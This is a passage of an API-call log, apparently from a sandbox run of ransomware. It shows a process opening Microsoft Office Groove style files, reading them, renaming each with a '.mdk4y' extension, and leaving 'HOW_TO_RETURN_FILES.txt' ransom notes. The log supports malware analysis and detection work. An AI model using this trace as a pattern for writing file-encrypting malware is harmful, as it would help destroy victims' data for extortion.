nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x1103, lpOverlapped=0x0) returned 1 [0219.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829445300000) returned 1 [0219.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829445300000) returned 1 [0219.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay.css.mdk4y")) returned 1 [0219.224] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.224] AreFileApisANSI () returned 1 [0219.224] GetACP () returned 0x4e4 [0219.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightOrange", lpUsedDefaultChar=0x37dd1c) returned 12 [0219.225] AreFileApisANSI () returned 1 [0219.225] GetACP () returned 0x4e4 [0219.225] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=108, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\旋馧￿￿\x03") returned 108 [0219.225] AreFileApisANSI () returned 1 [0219.225] GetACP () returned 0x4e4 [0219.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0219.225] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.225] AreFileApisANSI () returned 1 [0219.225] GetACP () returned 0x4e4 [0219.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0219.225] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.225] AreFileApisANSI () returned 1 [0219.225] GetACP () returned 0x4e4 [0219.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0219.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829445600000) returned 1 [0219.226] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x143, lpOverlapped=0x0) returned 1 [0219.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829445700000) returned 1 [0219.227] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829445700000) returned 1 [0219.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\background.gif.mdk4y")) returned 1 [0219.228] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.228] AreFileApisANSI () returned 1 [0219.228] GetACP () returned 0x4e4 [0219.228] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BUTTON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="BUTTON.GIF.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0219.228] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.229] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829445900000) returned 1 [0219.229] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xb9, lpOverlapped=0x0) returned 1 [0219.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829446000000) returned 1 [0219.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829446000000) returned 1 [0219.230] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\BUTTON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\button.gif.mdk4y")) returned 1 [0219.294] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.294] AreFileApisANSI () returned 1 [0219.294] GetACP () returned 0x4e4 [0219.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dc90) returned 11 [0219.294] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452500000) returned 1 [0219.296] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0219.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452600000) returned 1 [0219.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452600000) returned 1 [0219.297] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_off.gif.mdk4y")) returned 1 [0219.298] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.298] AreFileApisANSI () returned 1 [0219.298] GetACP () returned 0x4e4 [0219.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0219.298] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452800000) returned 1 [0219.298] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0219.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452900000) returned 1 [0219.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829452900000) returned 1 [0219.299] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\tab_on.gif.mdk4y")) returned 1 [0219.300] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0219.300] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0219.301] AreFileApisANSI () returned 1 [0219.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 132 [0219.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0219.301] GetFileType (hFile=0x134) returned 0x1 [0219.302] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.302] AreFileApisANSI () returned 1 [0219.302] GetACP () returned 0x4e4 [0219.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightOrange.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightOrange.cssi", lpUsedDefaultChar=0x37dd1c) returned 16 [0219.302] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829453300000) returned 1 [0219.303] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x10f1, lpOverlapped=0x0) returned 1 [0219.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829460200000) returned 1 [0219.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829460200000) returned 1 [0219.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css.mdk4y")) returned 1 [0219.374] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.375] AreFileApisANSI () returned 1 [0219.375] GetACP () returned 0x4e4 [0219.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37dd1c) returned 12 [0219.375] AreFileApisANSI () returned 1 [0219.375] GetACP () returned 0x4e4 [0219.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=108, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\旋馧￿￿\x03") returned 108 [0219.375] AreFileApisANSI () returned 1 [0219.375] GetACP () returned 0x4e4 [0219.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0219.375] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.375] AreFileApisANSI () returned 1 [0219.375] GetACP () returned 0x4e4 [0219.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0219.375] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.375] AreFileApisANSI () returned 1 [0219.375] GetACP () returned 0x4e4 [0219.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0219.375] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829460700000) returned 1 [0219.377] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16f, lpOverlapped=0x0) returned 1 [0219.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829460800000) returned 1 [0219.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829460800000) returned 1 [0219.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif.mdk4y")) returned 1 [0219.379] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.379] AreFileApisANSI () returned 1 [0219.379] GetACP () returned 0x4e4 [0219.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0219.379] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829461000000) returned 1 [0219.380] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0219.381] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829461300000) returned 1 [0219.383] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829461300000) returned 1 [0219.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif.mdk4y")) returned 1 [0219.387] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0219.387] AreFileApisANSI () returned 1 [0219.387] GetACP () returned 0x4e4 [0219.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0219.388] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0219.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829461900000) returned 1 [0219.389] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0219.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829462000000) returned 1 [0219.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829462000000) returned 1 [0219.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif.mdk4y")) returned 1 [0219.391] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0219.391] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0219.392] AreFileApisANSI () returned 1 [0219.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 132 [0219.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0219.393] GetFileType (hFile=0x134) returned 0x1 [0219.394] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.394] AreFileApisANSI () returned 1 [0219.394] GetACP () returned 0x4e4 [0219.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BrightYellow.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="BrightYellow.css", lpUsedDefaultChar=0x37dd1c) returned 16 [0219.394] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0219.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829462500000) returned 1 [0219.403] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x1074, lpOverlapped=0x0) returned 1 [0219.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829463400000) returned 1 [0219.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829463400000) returned 1 [0219.405] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css.mdk4y")) returned 1 [0219.407] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0219.407] AreFileApisANSI () returned 1 [0219.407] GetACP () returned 0x4e4 [0219.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Casual.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Casual.cssow.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0219.407] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 